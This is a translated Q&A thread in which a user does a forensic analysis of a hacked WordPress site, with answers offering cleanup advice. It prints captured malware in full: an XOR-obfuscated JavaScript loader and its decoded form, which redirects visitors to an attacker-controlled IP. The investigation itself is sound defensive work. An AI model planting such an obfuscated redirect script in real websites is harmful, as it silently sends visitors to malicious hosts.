对实际被黑网站的法医分析

时间:2011-06-20 23:12:54

标签: javascript php wordpress security

我的一个朋友有使用Wordpress运行的网站(请注意,这不是Wordpress.com上的博客),并且已被黑客入侵。与此同时,他必须与提供恢复备份的网站的公司进行对话。我想知道发生了什么,因为我正在努力学习网络安全,这是一个很好的机会。

我要注意的第一件事是,即使有HTML引用的CSS文件,网页也没有样式。我尝试导航到其中一个文件,但我被重定向到名为 tonycar.com 的网站。

Wordpress版本是2.0.2,正如我在html <meta name="generator" content="WordPress 2.0.2" />

中看到的那样

所以,就像这样:

请求http://myfriendwebsite.net/

GET http://myfriendwebsite.net/ HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Host: myfriendwebsite.net

响应:

HTTP/1.1 200 OK
    Date: Mon, 20 Jun 2011 22:05:28 GMT
    Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
    X-Powered-By: PHP/5.2.17
    X-Pingback: http://www.myfriendwebsite.net/wordpress/xmlrpc.php
    Set-Cookie: bb2_screener_=1308607528+213.191.238.24; path=/
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Transfer-Encoding: chunked
    Content-Type: text/html; charset=UTF-8

响应包含HTML代码。现在网站试图获取CSS文件,这就是第一个例子:

请求:

GET http://www.myfriendwebsite.net/wordpress/wp-content/themes/myfriendwebsite/includes/core.css HTTP/1.1
Accept: text/css
Referer: http://myfriendwebsite.net/
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: www.myfriendwebsite.net
Connection: Keep-Alive
Cookie: bb2_screener_=1308607528+213.191.238.24 

响应:

HTTP/1.1 302 Found
    Date: Mon, 20 Jun 2011 22:05:29 GMT
    Server: Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
    Location: http://tonycar.com/r/404.php?213.191.238.24
    Content-Length: 402
    Keep-Alive: timeout=5, max=100
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <html><head>
    <title>302 Found</title>
    </head><body>
    <h1>Found</h1>
    <p>The document has moved <a href="http://tonycar.com/r/404.php?213.191.238.24">here</a>.</p>
    <hr>
    <address>Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.myfriendwebsite.net Port 80</address>
    </body></html>

这会重定向到http://tonycar.com/r/404.php?213.191.238.24,这就是:

请求:

GET http://tonycar.com/r/404.php?213.191.238.24 HTTP/1.1
Accept: text/css
Referer: http://myfriendwebsite.net/
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: tonycar.com
Connection: Keep-Alive

响应

HTTP/1.1 302 Moved Temporarily
Date: Mon, 20 Jun 2011 22:05:42 GMT
Server: Apache
Set-Cookie: xxx=xxx; expires=Mon, 20-Jun-2011 23:05:42 GMT
Location: go.php?dd41dcd4bcb38e25c529f150f00ecf95
Content-Length: 0
Connection: close
Content-Type: text/html

新的重定向,最后:

请求

GET http://tonycar.com/r/go.php?dd41dcd4bcb38e25c529f150f00ecf95 HTTP/1.1
Accept: text/css
Referer: http://myfriendwebsite.net/
Accept-Language: en-IE
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept-Encoding: gzip, deflate
Host: tonycar.com
Connection: Keep-Alive

响应

HTTP/1.1 200 OK
    Date: Mon, 20 Jun 2011 22:05:44 GMT
    Server: Apache
    Connection: close
    Transfer-Encoding: chunked
    Content-Type: text/html

    2da
    <script language=JavaScript>HaSyJGVMNHBHlTVzQCrn1 = "=rbshqu!uxqd<#udyu.k`w`rbshqu#?w`s!yyy<#iuuq;..099/338/81/76.hoedy/qiq>nbu0l<GD1RkCgHj1`NhvxLBXxWSiPY'OV6D<DVBWTJ@ycH1W[WBynVGSOS'6uj<106IVBH'ix<$3GY'nmQ<D5$3CYmyWUTu4J2['JwR2<Q1QFE7N00C8X1778NBXN9Q7B1E8'o3<l5sYRW@SGmeNh@uD'twff<$3CXDyfN2WJgj1KQmD5PmKJEUOx`o9@[f[1@2XNLUHvHf$2E$2E'07<0[R3F893K60'[Wh<BjHJh1rP@9tHDn#:enbtldou/mnb`uhno/isdg<yyy:=.rbshqu?";PIIupfVDlgksHCrQJMcW2 = "";for (TdeFxzFOBwBRFKLvqgyb3 = 0; TdeFxzFOBwBRFKLvqgyb3 < HaSyJGVMNHBHlTVzQCrn1.length; TdeFxzFOBwBRFKLvqgyb3 ++) { PIIupfVDlgksHCrQJMcW2 = PIIupfVDlgksHCrQJMcW2+ String.fromCharCode (HaSyJGVMNHBHlTVzQCrn1.charCodeAt (TdeFxzFOBwBRFKLvqgyb3) ^ 1); }; document.write (PIIupfVDlgksHCrQJMcW2);</script>
    0

经过一些工作后,我发现这个邪恶的javascript函数会生成这个并将其写入文档:

<script type="text/javascript">
var xxx="http://188.229.90.67/index.php?oct1m=FE0SjBfIk0aOiwyMCYyVRhQX&NW7E=EWCVUKAxbI0VZVCxoWFRNR&7tk=017HWCI&hy=%2FX&olP=E4%2BXlxVTUt5K3Z&KvS3=P0PGD6O11B9Y0669OCYO8P6C0D9&n2=m4rXSVARFldOiAtE&uvgg=%2BYExgO3VKfk0JPlE4QlJKDTNyan8AZgZ0A3YOMTIwIg%3D%3D&16=1ZS2G982J71&ZVi=CkIKi0sQA8uIEo";
document.location.href=xxx;
</script>

基本上,它声明了一个String,然后解码它:

varA="crazy encoding string"
varB = "";
for (varC = 0; varC < varA.length; varC ++) 
{ 
    varB = varB+ String.fromCharCode (varA.charCodeAt (varC) ^ 1); 
}; 
document.write(varB);

所以再次,一个新的重定向,但我看不到Fiddler上的请求我不知道为什么,也许是因为IE9不明白或者是什么? :S我无法解码查询字符串的那些参数,可能是因为它们是预期的名称和值(或不是)。

这次黑客攻击的目的是什么?他们想要实现什么目标?

这怎么可能?我理解什么是XSS攻击(直接,反射和基于DOM),但这与此无关。服务器返回精心设计的响应,而不是所需的CSS文件。 CSS文件应该是Web服务器在没有PHP或Wordpress操作的情况下返回的静态文件,所以?

4 个答案:

答案 0 :(得分:3)

这种事情在WordPress网站上非常非常,你也可以在其他流行的网络应用程序上看到它。

基本上,自动机器人找到一个劫持的网站,并尝试一些众所周知的漏洞利用。如果有人工作,他们就会在您的网站上嵌入一些废话,如您所见。

他们所做的是创建指向返回其网站的字词的链接。这是为了增加他们的网页排名,而不是搜索引擎。这个想法是,如果50,000个破损的WordPress网站将“伟哥”这个词与“my-viagra-pharmacy.info”相关联,那么当人们搜索“伟哥”时谷歌将会提升该网站。

它一直在发生。搜索eval()的PHP文件可能会出现一些“邪恶”(ha!pun)代码行。

答案 1 :(得分:1)

对发生的事情进行了很好的分析。搜索所有主题php文件并替换所有WP核心文件/文件夹。

谁是网站托管服务商?

并查看How to completely clean your hacked wordpress installationHow to find a backdoor in a hacked WordPress以及Hardening WordPress « WordPress Codex

答案 2 :(得分:1)

我不知道wordpress的具体细节,但我会先调查实际的文件权限。对我来说,似乎有人能够在wordpress / wp-content / themes / myfriendwebsite / includes /目录中放置.htaccess。我不能轻易想到强制302重定向应该是静态内容(.css文件)的另一种方法。实际上,我认为未经授权的用户无法将此类文件上传到该目录。我认为更有可能是同一服务器上的其他人(我假设它是共享主机)发现该目录是可写的。检查该目录的权限,并确保系统中的每个人都无法写入。

答案 3 :(得分:1)

我不使用WordPress,但我也对此感兴趣。

有你:

  1. 确定了任何罪魁祸首.htaccess文件?
  2. 调查了mod_auth_passthrough / FrontPage?
  3. 存在某种内部重定向,这意味着要么注入代码,要么添加文件,要么修改现有文件。最简单的方法是:

    1. grep您的文件中有一些可识别的文字,例如tonycar.com。正如您所指出的那样,他们可能会对其进行模糊处理,因此您可能需要使用其他定位技术,例如......
    2. 按修改日期对文件进行排序,并手动/单独查看
    3. 使用文件比较工具将可能受感染的文件与未感染的备份进行比较
    4. 注意到的是他们正在使用cookie信息,您是否尝试访问禁用cookie的网站以查看是否可能存在不安全因素?